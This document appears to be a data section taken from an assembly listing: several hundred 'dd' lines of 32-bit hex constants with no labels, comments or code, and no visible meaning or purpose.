dd 30CADC19h, 0A63A6861h, 2C22C6B6h, 0F059C13Eh, 7723DB1Dh
dd 71BEBB82h, 420EED9h, 91A6B98Dh, 41E490C1h, 0AF02AC98h
dd 55F27F7Dh, 8D60C035h
dd 4C1280E1h, 0B2F89354h, 338A0491h, 0A98EA0E2h, 4B7900A8h
dd 40C0E3h, 0B1EC4183h, 11FB53BAh, 3D57641Ah, 0C8B30A40h
dd 0B4914A0Ah, 695D424h, 5044C0ECh, 0DC70C32h, 0F31D4EB8h
dd 9D49E5A9h, 0F6975818h, 1F248C43h, 0B2891DF3h, 0BCEA57h
dd 1C85802Dh, 99D4C572h, 0B4CC4500h, 7CC1B62Eh, 3E330013h
dd 8448E756h, 3A2405CEh, 2C110CAh, 710D532h, 0FE3D4B34h
dd 3C4187CDh, 88A02CD7h, 4CF2AC71h, 0DE8F5C94h, 34237FE1h
dd 3B0AF053h, 0C664A504h, 2C98E522h, 5C8148D5h, 2798C180h
dd 94137D28h, 58007A45h, 44A8878Ah, 70A31246h, 9674022Fh
dd 8481EBD5h, 26F112B1h, 40A80FB8h, 1BAF6468h, 0E9278232h
dd 9B6740C0h, 0A1A004B7h, 902EF804h, 853D4618h, 6194D103h
dd 98FEC62Fh, 0B027B9Dh, 7E897F8Ah, 0D8AC1CB1h, 300125C1h
dd 75B77BEAh, 3047B6h, 0A96F8CF4h, 48A76A70h, 0E8408144h
dd 5C240B0h, 0AAE5B40Eh, 0AF89C074h, 302353DEh, 0DC298FFBh
dd 50003586h, 741C5E9h, 34D6B4h, 0CC38748Ah, 0A98CE5EAh
dd 70590A00h, 0A583877Dh, 80BCB944h, 0BD62022Ah, 609B77E9h
dd 6D58943Ch, 267638B4h, 0E8C0B460h, 466AD7D0h, 0E722E4h
dd 32D0F0A1h, 9AF2D437h, 535D907h, 9E4313E1h, 12B9718Ch
dd 0F31A75Fh, 61896078h, 8ECC8AAh, 0B60289DBh, 0C5E805AEh
dd 9FA1728h, 0A040E460h, 7217D78Ah, 283A5539h, 23002923h
dd 4A0B0E16h, 0D8640302h, 0C1D1B97Bh, 905687A0h, 0C7780548h
dd 1AABF4BAh, 0DAD460B0h, 0D4DB5C88h, 2C0ADE02h, 0DC407182h
dd 4941494h, 0E5856591h, 0CCF2C2D0h, 9C600451h, 154D0EDh
dd 0A2962CEh, 284DFCE2h, 0F2CB80B0h, 0C5EC44h, 66E66C39h
dd 72419B37h, 43881400h, 2598B6FEh, 80166404h, 0DF1CD8A8h
dd 0BC9C7758h, 96008CE6h, 0A574508Dh, 1A66F71h, 0F7DC89F6h
dd 70351BB8h, 54BB1290h, 9D009A11h, 710462B3h, 5B00DC4Ah
dd 0E4505CF8h, 2530D457h, 0F4102642h, 0A4A08DB8h, 0F5124EB9h
dd 8443C11h, 0DD0116A7h, 29022D54h, 63D099D4h, 0D00AE718h
dd 0B0FC6AC2h, 3FEFD270h, 9D8015D0h, 0A45DD3E6h, 5C181159h
dd 0D7681BB3h, 8BD001BCh, 2D760F40h, 4AD42C25h, 4AD5E838h
dd 377C417Eh, 803CE976h, 0B76A6F31h, 6FBEA2DEh, 0D0183880h
dd 168018B3h, 0BB4D309Eh, 54442BC8h, 0FA58A3Eh, 5C1F23FFh
dd 0DA165424h, 108F281Fh, 6CC65C35h, 5C401AFFh, 0B123ACEFh
dd 0E920C001h, 2518D692h, 0CF4F88h, 5BBA4520h, 338AD904h
dd 3700F0B1h, 0A2AF36A4h, 0D9808D7h, 0A8162950h, 97B1B00Bh
dd 2C6BB60h, 1F4C11CFh, 4ED4C43Bh, 0A7984032h, 8AEB4ACh
dd 8EE88D0Eh, 73B6C405h, 4993F206h, 0E96EDB01h, 0B80B08E7h
dd 4BE41DE0h, 0FABC4417h, 0A471038Dh, 7072C156h, 0DC225C72h
dd 75AA4505h, 0D881895Bh, 3301CA95h, 2F2180D6h, 5FA149EAh
dd 0DE121266h, 4A616FDh, 23877A8h, 720D94E9h, 8AEB1214h
dd 9894836Ah, 8F5956A8h, 3B457518h, 0E4CE1220h, 6F442628h
dd 7EFF8170h, 9FF0A282h, 0E82E1830h, 0ED96BA83h, 269004B7h
dd 80C02A64h, 0D7DF4400h, 4E81790Bh, 0ABACA059h, 29632D8Eh
dd 0C22019D8h, 0B930C337h, 84B05888h, 8C96BCh, 94F9B34Bh
dd 0B5E3D1A3h, 587C0A74h, 1DB49813h, 0C2601889h, 303B3054h
dd 6D911FE8h, 8415A128h, 4AD7B300h, 92B12BA3h, 2412475h
dd 348252A4h, 147338BCh, 104ACA4h, 0B7019AC0h, 8FF26DC6h
dd 5F58DBE8h, 8328F41Ah, 9C3AE2C4h, 16830880h, 0AADC8089h
dd 3BA06E49h, 191E30C1h, 0B96FA86Bh, 0C6B202B4h, 0AC48DF9Bh
dd 0D8A8E744h, 7CB194EDh, 618EFD9h, 4EB78605h, 0CC42D5B9h
dd 116355Ch, 0D09F0B80h, 0E0309634h, 182B3811h, 331DFCC5h
dd 13C83B3Eh, 6C785126h, 7EC465Eh, 0F2089690h, 8080E84Ah
dd 5752AD3Dh, 8A4009E1h, 2C015DB4h, 3C106Dh, 9ACBBAD5h
dd 1E113E10h, 610E1C59h, 0D480B083h, 5F94933Dh, 99C1B59h
dd 2AED9E1Ch, 45BD74A4h, 54325C21h, 0DB485902h, 6050C01Dh
dd 0D8C191D3h, 0C8409FB2h, 4A262775h, 485258h, 0A9801BFDh
dd 4B004C3Eh, 9E02B7Eh, 3F34090h, 0BA7FA0BFh, 31001856h
dd 0DDDF274Bh, 19888F4h, 0B3462B5Fh, 243D9E0Eh, 1E03AD9Ch
dd 621F243Ch, 60C0503Bh, 89904122h, 6D70FFD1h, 674C6058h
dd 0A475E056h, 0C1079BFEh, 84D4BC74h, 7F2080ABh, 17698CEAh
dd 10A14E80h, 2B88B880h, 9820F193h, 2F947Fh, 44E669F5h
dd 9CD45B48h, 0E4B95D00h, 21DBD78Bh, 27DC4B79h, 4E161150h
dd 5C20EA91h, 0B3FEFE9h, 90F68AD1h, 489E544Eh, 13200DCh
dd 755E6264h, 0AC098E25h, 26BC048h, 5B33A798h, 0FD2B8078h
dd 0F95A9345h, 1FB03654h, 88D9D800h, 0A507BDACh, 0AA0F30D7h
dd 0C44C53F8h, 6070C026h, 9DA5A31Eh, 812991E8h, 6D354E5Eh
dd 387CD7E8h, 8AB24788h, 2860F050h, 0E541DE32h, 0FC4F5860h
dd 704187Fh, 0D815C0BDh, 2C441280h, 8BB034CFh, 0F882BEC5h
dd 8442AAB8h, 21796471h, 9A078818h, 224EB70h, 0D9D9A3C2h
dd 18297158h, 105500ACh, 2776F89Bh, 9A261ABDh, 0C60830D4h
dd 92EF038Ch, 0D0EC3C15h, 0AB1EAEB4h, 0FCBD7380h, 1250057h
dd 28694D59h, 0F248341Fh, 0C3D98E40h, 0F803BD37h, 0ADDA47h
dd 0E04650C3h, 2E8A2B52h, 80967D28h, 99C380ECh, 78B110D9h
dd 49B36008h, 0DBB542Bh, 63989C50h, 106CA425h, 231496E8h
dd 0FC813513h, 8EA50C7Bh, 0C83CABD9h, 95962C52h, 0B6B60E18h
dd 6C745E96h, 31131840h, 0F618328Ah, 0D5A00D21h, 34574980h
dd 2016973Dh, 3A402731h, 6D9285E8h, 93DC9065h, 8D163367h
dd 0F804F0FEh, 0E0A43954h, 2324359h, 6AC0D0E9h, 10BB31ECh
dd 0D0F1A0h, 0DB36F6A1h, 5434D791h, 2DF9430Ah, 88169C8Ah
dd 9A56A04h, 8262D083h, 3897291Dh, 3C81ED11h, 0E1A320D1h
dd 42C296Ch, 0C8499EB8h, 2CDD84E4h, 0E683C98h, 5F12924h
dd 8BCA8ACBh, 8975C491h, 0E5788EC2h, 0B8062210h, 1F08407Ah
dd 954858BDh, 0A7AC54ABh, 5C0A170Eh, 0E0B24A25h, 0F5AEB682h
dd 77ECC9DEh, 2C486CC1h, 0CBD008E4h, 0EEC4C46Ah, 0D0EC9D40h
dd 330047CEh, 458FEB04h, 0A1DFBDA5h, 7C76F07Ch, 73403D7Eh
dd 581687A5h, 40ACCC03h, 38F03223h, 378F0761h, 2CA79D66h
dd 0EE40D073h, 16E6CE99h, 84010CE0h, 0BAE2AB8Bh, 2465A99Bh
dd 21B8D878h, 6150008Ch, 1B4AB15Fh, 0AEFC5984h, 34428C4Bh
dd 581E895Eh, 627C0A28h, 16C44A1Fh, 0F98430ADh, 5E3B2160h
dd 89A53C2Ah, 1B21CD7h, 735FAACCh, 1F0FA02Ch, 0B681CB6Ah
dd 0D8259Eh, 57419CAh, 1EB728EDh, 5AF04470h, 0D0E63032h
dd 0F46A2EC1h, 0EED3707Ch, 2C34D001h, 79A25435h, 38CDC5C0h
dd 10CD7791h, 23602E5Eh, 44A30322h, 67A8B8A1h, 0BE30BAE0h
dd 4F93F85Ch, 940214FFh, 712490D0h, 0B2D985A0h, 639C40A6h
dd 24375412h, 1944F8C9h, 2022330Ch, 7BD46700h, 4CE4404Dh
dd 12B70200h, 0AA24AD9Ch, 0F9D7B59h, 559BBBB1h, 691F99D8h
dd 4860C21Eh, 0B35F183Eh, 5AC6BA19h, 26C0016Dh, 2101AA4Ch
dd 0A2F42370h, 86C1322Dh, 479420D7h, 0F024B556h, 0B0D8BCEFh
dd 0CB920778h, 83A7182Ah, 504CD7F9h, 115A0908h, 72380243h
dd 7C0909A8h, 0BAE45CC7h, 0D339AE60h, 56060D16h, 0A05560C2h
dd 0EAB359D0h, 5C588270h, 0C1ECB816h, 8095B008h, 0DDA052C6h
dd 0F4013C0Ah, 0C19F7874h
dd 0B82DF682h, 96268C40h, 84868C18h, 0A9207519h, 78A24D29h
dd 0CE06613Dh, 70FE34A3h, 0A840D0D8h, 0B2D58001h, 0F1898C9Ch
dd 8F04A799h, 1B3540A0h, 4831007Dh, 0EF762853h, 6B0C3F7Ah
dd 3077BD65h, 0B493888Ch, 949B1F02h, 0C4C544C8h, 41D89C70h
dd 0C80F588Ch, 5F002EF4h, 70278051h, 0A9F59DCh, 9ACA6FF1h
dd 3B6808BCh, 465CC04Ah, 467900E8h, 93FB8D7Fh, 0CCF13456h
dd 0F0B221h, 450AF9B7h, 5024F6FDh, 14D10C1Fh, 0A4A7EE82h
dd 53106204h, 0E268E347h, 72903F72h, 245457BCh, 950FCBD8h
dd 791FA36h, 0D6A07E39h, 5782383h, 0D8B97DB5h, 0C8008BB0h
dd 0C727C08Dh, 5315B8B3h, 90EA32h, 8C79011Bh, 0B88E9C20h
dd 0E6BF4438h, 0E8121DE4h, 0DCC81838h, 0C432490Bh, 94CB037Eh
dd 6B56DB2Eh, 799F55E8h, 7F962B00h, 7BCF7DF4h, 5B0B1763h
dd 0F37C04E4h, 0F0B73822h, 0B39CA8BDh, 5697C2Eh, 5E8E136Bh
dd 4C48A781h, 80BC5014h, 85941A48h, 0C8D5AECCh, 8C4878F3h
dd 205E5Fh, 1018CC52h, 9627B5FBh, 0DB8C0030h, 279D7404h
dd 0B401F91Dh, 21CB817Ch, 8082E295h, 5303350h, 66E4FAEh
dd 19A436CCh, 3ADB280Ch, 4FBB9A80h, 8AF40962h, 10A6C011h
dd 0D2575Eh, 75DC2894h, 93C154ECh, 34200C5Fh, 52131Ch
dd 90F30E59h, 0E3AF649Eh, 0F235151Fh, 0FF097642h, 385C401Ch
dd 7EC9196h, 3C0F4410h, 4B2556F8h, 500C2281h, 10787238h
dd 88D9A5BAh, 0B9F0808Eh, 96B37B90h, 355C10F6h, 8C82EC30h
dd 2EE7D00h, 6B86B5E9h, 71BE608Bh, 2F541063h, 2BA02B6Fh
dd 46B8848Ah, 0C840CA25h, 3C53C0E7h, 0A400AD20h, 0CFC390EEh
dd 289EBA07h, 25F8E215h, 0D4404D94h, 1301EFB2h, 73E5DF3Ch
dd 74602A10h, 7B472488h, 0C9FD6214h, 41221002h, 84514548h
dd 90625794h, 0B1238E00h, 0C4F48205h, 165DEA12h, 6053380Bh
dd 244EB86Ch, 8E6CE5B1h, 603B2F6Ch, 0EF9DA6E0h, 468D989Eh
dd 29F03106h, 18B1DFC0h, 0AEBA693Eh, 8B4F171h, 8A36B385h
dd 1E32A401h, 802D14C8h, 4C738610h, 7A1E6910h, 0AD9B24B0h
dd 0A7F20988h, 61E0FC93h, 6550B51Dh, 1A24B8C0h, 0D609ACE7h
dd 0B7C034Ah, 0CE81073Ch, 1443E6h, 0BA35D56Dh, 0A1DB2A04h
dd 68901E57h, 7CD079A8h, 7796004Ah, 0F206929Dh, 0E7E1721h
dd 0C0208B97h, 480C12C4h, 0DA4A2836h, 37CCC010h, 2E27F7Dh
dd 32F1045Fh, 0DC68EC26h, 0F091457Bh, 40A2B192h, 0D307CE2h
dd 55ED24F6h, 59641894h, 8D5EB97Ch, 2C289808h, 383CDE50h
dd 27332F8Bh, 13B05A08h, 7E15792Dh, 7FAC00C1h, 0E9A58DE5h
dd 73889DF2h, 5CB07DE1h, 82101CF9h, 75187CAEh, 59A03789h
dd 0D45A4C76h, 4640EF10h, 56B705B4h, 78CCD283h, 6B314030h
dd 7C644EF8h, 54A8F218h, 5CADFE80h, 0B61A9B5Eh, 3D481696h
dd 6B220FA8h, 90E4A02Bh, 0F1617200h, 0C84F6074h, 248F007Eh
dd 0E6692568h, 6E793A11h, 7B204492h, 7A93024Bh, 35D938F5h
dd 33D71C68h, 0F988FC96h, 0F0BC28B4h, 54348006h, 0A3596705h
dd 7C629FD2h, 71BC5978h, 98D418E9h, 18427827h, 882255D8h
dd 0F49C8ADBh, 7A940E95h, 0A280B160h, 4146A356h, 0E05CA06Ch
dd 5EC45849h, 2623642Fh, 0DABB2802h, 0D6B05477h, 4F76421Eh
dd 7E660A80h, 721BACF3h, 0B19CACB7h, 0A3C88038h, 0FBB7074Fh
dd 93A27500h, 0A492AE78h, 82B90C8Ah, 61D89886h, 0F76C121Eh
dd 1051B0ECh, 5D303F1h, 6E32EE18h, 0A58CB011h, 170298A1h
dd 34812EB5h, 10830FACh, 435F82Ah, 0AEFF390h, 59F74907h
dd 8EA2CC85h, 0ACA0999Bh, 2004D518h, 0BF2E92E6h, 54202232h
dd 12C20CCh, 69A936CBh, 9F132EAh, 4510DCh, 0E7DE825Bh
dd 90DBD16Fh, 8515BC00h, 913CF6D0h, 43A812BBh, 0F243293h
dd 0E1B9E0E0h, 0F4F182h, 0C71D74F3h, 782EED19h, 211148B3h
dd 205C2406h, 0FB2408F0h, 6261D447h, 0EEC8BB30h, 0DAAE1704h
dd 0C018878Fh, 1D92130Bh, 0A24B5725h, 98E32FCh, 640054F1h
dd 19DEBFE9h, 0C690037Ch, 283FB472h, 0F0744F8h, 20E4C4A1h
dd 4A41B8ACh, 9760303Bh, 61401025h, 38EC04A2h, 0CB0F4D76h
dd 0E33218DCh, 0F0D340E9h, 4FD148B8h, 0EB280907h, 0CD2BD0F9h
dd 13553E0Ch, 5292DB64h, 831AA4C1h, 57197949h, 99810023h
dd 8C6F5ECEh, 0D90135B0h, 841185F3h, 0D8ED5C6Eh, 2316A06Dh
dd 1F84A20Ch, 2325568Bh, 7C4DF308h, 0FC54D5D8h, 3CEC6324h
dd 98A6EE15h, 0EC009922h, 6F2D4E94h, 1EE3F514h, 0C0705C67h
dd 7A171B72h, 8A2CC0EFh, 6889B4C6h, 2FE002CAh, 20C0649Ch
dd 0A225254Dh, 0C4C4C5D9h, 8BEF6028h, 3A550131h, 0D4E4F18Eh
dd 17C848BDh, 3C382610h, 0CF4AD060h, 0B10052FBh, 3D53EC30h
dd 72A4A0h, 0CA01052Eh, 59452110h, 6A3B300h, 0B2BB050h
dd 9CEA00D0h, 0A6325A05h, 3E74D3F7h, 28BD20C7h, 184837D6h
dd 1843B80Dh, 0CC00E2D7h, 233255D5h, 33ABF48h, 4150F0ABh
dd 5800D421h, 5E0A3DA6h, 0F59D22Bh, 0CB71ECF1h, 52F8A0C0h
dd 7230B7B0h, 59062833h, 91AF60BBh, 3C73702Dh, 0B2DB50C0h
dd 15BFFD8h, 1D3FB732h, 8CE28F96h, 69E30D28h, 601EEA6Dh
dd 20BBF8A8h, 3A1F034Dh, 5A0D7BA0h, 8CC018B4h, 97A23906h
dd 0A8C66960h, 2D1C110Dh, 254C3481h, 0CCB208B1h, 73F26021h
dd 0FF782A0Ah, 0C51C4840h, 16250F20h, 0ED411A13h, 0D3DD11A0h
dd 43D8B4B8h, 0BC985B51h, 51419D8h, 2008EDB1h, 73D238h
dd 77FAE283h, 0A09EF1D3h, 75A6168Ch, 503340B5h, 20ED7DE2h
dd 0D20C6911h, 8622F54h, 6F21C046h, 16863375h, 0C98CB200h
dd 0DB7A0C4Dh, 0F8A0619Ah, 9FE42C41h, 3C19F779h, 0B8499739h
dd 0FAA1D2DCh, 0F7621868h, 0CD102158h, 348F4118h, 0ACB259F8h
dd 318720D0h, 0D0B66F06h, 0CF05993h, 9F60D379h, 2819B7C8h
dd 0B618502Ch, 0FE279C41h, 0A7B8000h, 7018FF7Fh, 9484EB7h
dd 6A824C2h, 47003D28h, 7DE42F21h, 0B50073CDh, 9BDBC990h
dd 2B1D107Ah, 1890A4A6h, 71B60C7Ch, 484490ACh, 33741E6Eh
dd 79440559h, 47D00486h, 36834453h, 561F6081h, 0B6BD2410h
dd 0E5BC9D02h, 49381D3Ch, 0DCF9B278h, 66682900h, 0B8C0A8FEh
dd 0CD9E7A84h, 0DBF430EAh, 6182A620h, 3E5373E0h, 0E0578420h
dd 0D1569D60h, 9866D730h, 0A4B959ACh, 2B2500B8h, 0D252C2EBh
dd 8F02EFD5h, 0D92E217Bh, 9774484Ch, 8512037Eh, 0A5C0D4F7h
dd 6EC03878h, 0BC38B6A3h, 20D0A43Dh, 29E0904Fh, 0A8AB701Bh
dd 20BAF088h, 50016587h, 23C860B6h, 720C5C31h, 4838B020h
dd 1E8DB8B2h, 85E253BEh, 455F3D0h, 0D35D3A30h, 28C2F540h
dd 0E8842CB1h, 0A254B870h, 245E53Ch, 0F7D4A401h, 0E8905808h
dd 1B41AF64h, 52D6F093h, 76832C50h, 0A6E3E307h, 0E1B58000h
dd 0BCBB2DF4h, 2B50C3EFh, 88942748h, 0E0417838h, 8C9F0C20h
dd 110D9D3Dh, 0BE88B92Dh, 0DB56580h, 97F08AFh, 7C0B455h
dd 419CB027h, 80F20E05h, 74A5E611h, 0CAC6D7Ah, 9485A253h
dd 21C0EC08h, 0B5749DB3h, 0D6E6044Ch, 81E89908h, 0D8D0FF7Ch
dd 20F571D8h, 344D7388h, 0B2110694h, 8AB8CE7Ch, 7AA440F4h
dd 0BEC68853h, 7D871A14h, 32910ACh, 973B4406h, 5CD13162h
dd 243BDDB4h, 40A49859h, 788EA011h, 11B6AAC1h, 88440CD1h
dd 33326FF2h, 0A0EE7075h, 80CF90E4h, 0F7BE18A8h, 9ABD2936h
dd 96D37812h, 20B74042h, 0D51881E9h, 54320CA6h, 5F98091Fh
dd 0F0EE003Bh, 3DE37432h
dd 80A4BF4h, 6003542Bh, 224ED3C2h, 3840072Fh, 0C7B0CDE9h
dd 6147DD39h, 5AF04230h, 1060D411h, 903ADF41h, 0F9482014h
dd 5FC00D14h, 10FE8FE8h, 7B7482DEh, 0DD31A46Dh, 749EB410h
dd 0D3B97617h, 0F75C2B1Fh, 980A155h, 2636BD8h, 60107B94h
dd 8053C79Ch, 0EA4DCB73h, 11B009D8h, 412894FCh, 0E7388467h
dd 0C4C8EDF1h, 0DB564043h, 3CBBCA2Ch, 22A73201h, 6C3207A5h
dd 2021BF88h, 0C068ACE7h, 3AAF602Bh, 24E35780h, 8FA4F1F8h
dd 7FA27645h, 3C484D0Eh, 0E31F1130h, 0C2C1D7A5h, 0C1F3CFF2h
dd 218063D1h, 7AE30891h, 2C1BFDBCh, 0F1599340h, 94606717h
dd 46C490B0h, 0DAB029Dh, 31A92D0Ch, 0A36310B9h, 5E6E1C0Dh
dd 722E0326h, 43E84581h, 9639CF8Fh, 0EAD7848Eh, 0F488D428h
dd 4BA18D5h, 858010F4h, 9FA41F0Bh, 2474A29Bh, 24070956h
dd 183118BAh, 710059ECh, 212A4010h, 7B0CF8FCh, 28C7CEDBh
dd 372B2612h, 594517F4h, 48A17010h, 0D08A768h, 0C4892D10h
dd 9F6F40BBh, 542F0Dh, 30A06437h, 0EBBC2A0Ah, 1CF54218h
dd 81532271h, 0B89CE116h, 0C63220B9h, 51AB9710h, 86A35600h
dd 0BDFB413h, 7DCC280Eh, 45FC90DCh, 7410958Ah, 0E3829CE4h
dd 3103D7AAh, 0FD8E1068h, 3CF17CE2h, 0A0054612h, 77B704h
dd 0F6BC7220h, 0AE1876ABh, 0D4080C2Bh, 69CD80DFh, 538EB49h
dd 0F7A4B078h, 20DD5480h, 669CB927h, 8606C9CBh, 0BD62EB7Bh
dd 0E93009F8h, 38826F49h, 8C080308h, 0CCCAA08h, 0D396797h
dd 1B00D4A4h, 0DBD4CB53h, 588F0147h, 0F2101C03h, 0B58601FFh
dd 0F584C33Fh, 30870C20h, 0C8D1640Eh, 5F00146Fh, 2AED233Eh
dd 874D4Bh, 0B696C303h, 0AC46A707h, 0B335A906h, 440C49Ch
dd 0FFA0A57Eh, 0C8688B8Bh, 0A530C0BAh, 0D4012D47h, 0EDC2C719h
dd 0C980F50Ch, 8B2AC575h, 553A9A68h, 0E8730056h, 0FFD793CAh
dd 0C3061313h, 0BDB042CFh, 74C108F6h, 0B7482429h, 0D9CF857Ch
dd 407C89D5h, 2061A3E0h, 0D32E3DC7h, 391AA5EFh, 70108429h
dd 0F4E30A61h, 448C23D7h, 1009262h, 664CABE3h, 6EF7682Dh
dd 0F38B58AEh, 38B75820h, 0F4A05DACh, 80E3D36Dh, 132512B1h
dd 2EA69F1Ah, 9710B440h, 50A047F7h, 8FCA6008h, 52904C02h
dd 9A39E25h, 0BB5402ECh, 0B2A70050h, 0D34AF5E5h, 0ED7428h
dd 869087C6h, 0CB3F761Fh, 4F606172h, 0A0E2D738h, 586896CDh
dd 6D88E922h, 0AE2A25C3h, 6040348Ah, 0FD718F3Dh, 44F7B216h
dd 20354460h, 447CB01Ch, 21745F84h, 8C125C4Ah, 0F01C4804h
dd 246DB705h, 0FC2481D0h, 0A7188FDDh, 12887540h, 0DCC8C159h
dd 3DF0A136h, 220B8517h, 59215EE0h, 31A1AA2Eh, 30343E30h
dd 2004D4A9h, 6CEAD5B8h, 9898C34Ch, 0A2ED3888h, 73088408h
dd 0A9E30D60h, 110BD723h, 48D006Ch, 2F55EBE3h, 6A3600F9h
dd 70649D93h, 81C0B596h, 86EE2DE1h, 0FD090FACh, 0FAAF7703h
dd 794C2F60h, 0F00D817h, 0A5CCABE6h, 0A041E209h, 5C474878h
dd 709DE835h, 9779CB19h, 88686049h, 68467E30h, 79126402h
dd 409011B9h, 0FA042726h, 4E0430AFh, 51C2C0C9h, 74A88100h
dd 18946D7Dh, 0A0C688EBh, 0FD97400h, 569F15BAh, 2C8105CAh
dd 22502F48h, 70223460h, 2B9C9097h, 0F32A000Dh, 0E58995C3h
dd 9D03A876h, 237992B7h, 4348F0C7h, 4348DF61h, 369BD8B6h
dd 84A5A828h, 36A3E881h, 0DA90250h, 31992D0Ah, 0A16110BFh
dd 2A4A000Dh, 0D9561826h, 50C2575Fh, 9FAFD08Eh, 826411B0h
dd 4940F703h, 0BDE83048h, 16F0002Bh, 1984F27h, 0FE00F98Bh
dd 0B74D9B9Dh, 0A4521BD0h, 28D8F0B8h, 800866ABh, 7859CDC7h
dd 1B9D3B2h, 551C21F4h, 46BC508Eh, 349884D6h, 1726C44h
dd 0D964ED2Eh, 579030B0h, 86CF40E8h, 0F83028DEh, 0DF73A139h
dd 0C3F403A5h, 7957946Eh, 53D0DBC0h, 0A63A2B04h, 0B0809DB4h
dd 81F18FB3h, 0C5E3F8DCh, 86E81E75h, 0B10964B2h, 87507B20h
dd 1AC30520h, 901848C2h, 913E7412h, 30A5B50Ch, 72FAAE1Ch
dd 88345630h, 2CF9AFC7h, 4847CC1h, 0A60D0366h, 0A97BF358h
dd 78FC673Dh, 0B67F0909h, 1493576Fh, 2621A2BAh, 70849C23h
dd 440CF903h, 0AA300E02h, 6D238774h, 72DF1184h, 240974F4h
dd 23054E8h, 253807E0h, 9D748C7Fh, 1295CB07h, 0E9505A85h
dd 3F1B962Eh, 0FD067017h, 0A1510CE0h, 0E78F1203h, 0E716673h
dd 7B82EF30h, 39561020h, 0B094369Ch, 0F2FD47D4h, 0D8D17FDh
dd 94D4F1F8h, 191500E8h, 0A0120B09h, 3BF4F1F9h, 0F7A8CF00h
dd 266CDC68h, 0BCB20130h, 66D3F3E5h, 18D092A2h, 84C1A094h
dd 130547A7h, 0F70804C4h, 615C9035h, 1E396F52h, 38970511h
dd 4928B8Fh, 580B18A0h, 280AA899h, 142490EAh, 2BD4674h
dd 886F9464h, 10DC8171h, 182120B6h, 0CF22FC32h, 0A3A61613h
dd 0EC7B388Ch, 79B627A5h, 0F500E896h, 0E25F3372h, 0A27F22h
dd 0C32B2511h, 4F078E66h, 941F414Ah, 0B525C250h, 145F2C39h
dd 57679805h, 8B98ECA4h, 42C249C3h, 12FA5CE9h, 0A0A88112h
dd 41A6B797h, 20420058h, 717A371h, 88620F00h, 0D71CADFAh
dd 0EB5825EAh, 0A39D2804h, 742F4A38h, 7000BC23h, 99D9CB6Ch
dd 0C6EA00AAh, 9E072177h, 850F7FFFh, 126717F6h, 782F0088h
dd 7CC7EEE5h, 0C6E374C4h, 59AC9819h, 53BC6D00h, 7788B472h
dd 0F5EF0B5Fh, 609831D8h, 0B17CA39h, 413AC63h, 79C37C20h
dd 90BAFFh, 2DEBBC72h, 0FBAA2AD3h, 0C42430B9h, 0B4E4951Ch
dd 0BC961C20h, 0CA4C008h, 4889AD98h, 0D3B5D00h, 0DE95AB12h
dd 0F1150FDBh, 9C1416B7h, 0AFD2310h, 0D83B682Dh, 2FCA094h
dd 8B9A2136h, 0ECE06005h, 0B0A40B9Fh, 0CCA950D0h, 0EC11881Dh
dd 0EADCFA80h, 0BB2C108Ah, 69180807h, 4EC30551h, 0B10C0AEEh
dd 0E3CD8334h, 1958A8DAh, 0D882D208h, 0A71801C8h, 0A5D420F4h
dd 5EDF6110h, 58C2D504h, 883CA3DEh, 742CACC1h, 0BB00E246h
dd 9C63C990h, 8A25D3FCh, 0FE5C38B7h, 46CB1F7h, 0A277F2BDh
dd 62F10154h, 7619A2CBh, 0A4FF8095h, 7C74A781h, 0F467F66Dh
dd 749FC500h, 181DB1A4h, 19EF0D01h, 8B0AECF8h, 0A0611C48h
dd 94406411h, 0E6A0A8D6h, 163302AEh, 0E860A763h, 0F1127C52h
dd 18C87CA6h, 0BE207CB7h, 887C284Ch, 4048280Ch, 0E3146D62h
dd 8DCCCCBEh, 5C337161h, 8833E0A2h, 9C96EA2Dh, 715281B0h
dd 0D3413CFFh, 0C9BA31C8h, 9825D573h, 44DC09F6h, 8DCF0064h
dd 2134F1E0h, 33267953h, 9442B43Bh, 8700AF3h, 0F701B05Fh
dd 9069F9Ch, 9E9428h, 49A0631Fh, 9D01A9E1h, 0DE4734BBh
dd 91E999F9h, 60FB6870h, 0DA7871AEh, 41E3579Ch, 623D13A4h
dd 0D0BB720Ch, 9CE30802h, 51CCE2D7h, 0FF9040E8h, 0E0008CE2h
dd 187B8FD4h, 51D820BCh, 0C5BB035h, 0B3ACEC7h, 47702002h
dd 3D201072h, 0D88C0FA6h, 0FD40C075h, 0A2655C8h, 0EF1EBC00h
dd 3E565907h, 786CE90Dh, 0A95F0E18h, 0CC009FA8h, 89741BFCh
dd 0F482E0h, 0F14F8777h, 0B68C52C2h, 67603071h, 0E2DBACB8h
dd 42C9A43h, 1EEB6D86h, 0B61480BBh, 3C989497h, 3C21DED2h
dd 54723D3Fh, 429B991Fh, 5D0BD157h, 0FA2018D2h, 5EA0B456h
dd 13004946h, 72C921AEh, 0F34ABAE5h, 63FD880h, 0FC920DBCh
dd 41A182EBh, 3DB30CE0h, 0AB5A177Ch, 0D341B897h, 4447A9C2h
dd 72B55912h, 702B1780h, 0C1B8C483h, 3FA4450h, 0D6198885h
dd 5E1F24DCh, 39B80C94h, 0DA34F7D8h, 80C0A934h, 26EFD53Ah
dd 4960602Ch, 0A4D8F007h
dd 57810555h, 3723B881h, 76468410h, 0DD38A362h, 0C0DCEA2Bh
dd 0C2CC6200h, 0BDEB38D1h, 0C1D0700h, 0E6D8B87Eh, 0DE1288CCh
dd 4EE704FCh, 0C0FC1120h, 924DD90h, 74A9C2F0h, 0CE8CF484h
dd 0A1AF00FCh, 0B77C6174h, 0F9A5002Ah, 3ADF408Ah, 0A600E959h
dd 0F52E107Ah, 2EEBF207h, 119CB51Dh, 0CFE458B4h, 18F4A0DDh
dd 0C3E052h, 54936448h, 87D5734Ch, 9E59B8B8h, 0DAC87FCh
dd 0D1A12D12h, 0A4646308h, 2D4260F8h, 418C5301h, 25B937CEh
dd 111BFC0h, 0BA9D352Bh, 6454C838h, 0B73A4D38h, 0FF8D07A2h
dd 20ACB22Ch, 3A50216Fh, 15F7AB8Fh, 0E95300ECh, 0F06DD1D0h
dd 1371005Ah, 0B75540CDh, 22FFE038h, 0D8BD05F4h, 0F4F42FE7h
dd 41A54FB1h, 0BD2803DCh, 0B6E3EC75h, 3240C349h, 506A2886h
dd 0F9F11254h, 52E71370h, 34E00A28h, 4FCB6230h, 48858E07h
dd 40E854A4h, 7C0073D6h, 0ADED2E1Dh, 905F91EFh, 0A17698BCh
dd 0F4F541BCh, 500AC452h, 0B7FA4060h, 14587226h, 37409E83h
dd 0A7290005h, 8F902F70h, 845886D5h, 6C9A2824h, 92CDDD02h
dd 646DB6FFh, 32449898h, 0E060AAF6h, 0C05C6D2Bh, 0A08CBF56h
